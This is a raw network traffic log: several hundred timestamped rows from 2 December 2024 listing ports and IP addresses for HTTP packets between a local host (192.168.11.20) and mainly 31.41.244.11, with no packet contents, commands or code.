Dec 2, 2024 11:21:09.834520102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834595919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834640980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834703922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834742069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834773064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.834805012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834950924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.834985018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835030079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835058928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835103989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835115910 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835169077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835174084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835211039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835253954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835261106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835313082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835342884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835352898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835443020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835469007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835469007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835588932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835597992 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835638046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835681915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835728884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835733891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835772991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835815907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.835910082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.835990906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836029053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836060047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836105108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836148977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836178064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836225986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836325884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836393118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836436987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836467981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836509943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836546898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836615086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836637974 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836663008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836708069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836750984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836781979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836826086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.836862087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836862087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836961985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.836961985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837064028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837096930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837140083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837209940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837270021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837301016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837340117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837359905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837404966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837454081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837511063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837511063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837569952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837609053 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837631941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837661982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.837717056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.837833881 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.846755028 CET	80	49684	192.229.211.108	192.168.11.20
Dec 2, 2024 11:21:09.846981049 CET	49684	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:21:10.133702993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.134089947 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.160320044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160378933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160414934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160459042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160587072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.160587072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.160711050 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.160768986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160823107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160866976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160912991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.160928965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.160975933 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161045074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161201954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161248922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161359072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161381960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161465883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161478043 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161533117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161592007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161643982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161649942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161701918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161736012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161761045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161806107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.161825895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161825895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.161922932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.162045956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.162661076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.162720919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.162769079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.162883997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.162883997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163007021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163072109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.163126945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.163172960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.163220882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163299084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163299084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163413048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.163551092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.163610935 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163774967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.163929939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.164052963 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.164100885 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.164244890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.164742947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.164800882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.164836884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.164954901 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.165016890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.165016890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.165857077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166012049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.166145086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166199923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166244984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166289091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.166379929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166446924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.166532993 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.166834116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166892052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166940928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.166985989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.167021036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.167078018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.167186022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.167387962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.169591904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.169816017 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.371654987 CET	80	49683	192.229.211.108	192.168.11.20
Dec 2, 2024 11:21:10.371833086 CET	49683	80	192.168.11.20	192.229.211.108
Dec 2, 2024 11:21:10.467307091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467370987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467406034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467449903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467609882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.467686892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.467782021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467824936 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467869043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467914104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467943907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.467981100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468007088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468031883 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468031883 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468074083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468111038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468153954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468174934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468214989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468245983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468307972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468383074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468411922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468456984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468486071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468530893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468621969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468627930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468666077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468682051 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468728065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468775988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468868017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468878031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.468914986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.468960047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469011068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469018936 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469089031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469100952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469177961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469188929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469242096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469274044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469316959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469325066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469378948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469386101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469466925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469474077 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469531059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469538927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469640017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469675064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469681025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469734907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469852924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469899893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469906092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.469944954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.469991922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470035076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470046997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470082045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470127106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470174074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470179081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470216990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470256090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470256090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470367908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470413923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470443010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470503092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470546007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470555067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470607042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470638037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470685005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470738888 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.470890045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470936060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.470967054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471010923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471023083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471074104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471106052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471116066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471168995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471174002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471226931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471235037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471272945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471322060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471369028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471389055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471436977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471470118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471513987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471544981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471590996 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471635103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471658945 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471681118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471726894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471776962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471868992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471875906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.471914053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.471960068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472002983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472033024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472064972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472094059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472114086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472198009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472228050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472258091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472362041 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472388029 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472496986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472507000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472547054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472592115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472637892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472642899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472682953 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472728968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472774029 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.472872972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472918034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.472949028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473012924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473012924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473095894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473140955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473170042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473215103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473232985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473232985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473287106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473319054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473366976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473371983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473453999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473501921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473510027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473548889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473592043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473675013 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473740101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473782063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473814964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473858118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473901987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473932981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.473941088 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.473993063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474051952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474097013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474128962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474142075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474231958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474246979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474298000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474328041 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474371910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474380016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474427938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474492073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474522114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474531889 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474623919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474701881 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474756956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474778891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474805117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474848032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474891901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.474900007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.474936962 CET	80	49753	31.41.244.11	192.168.11.20
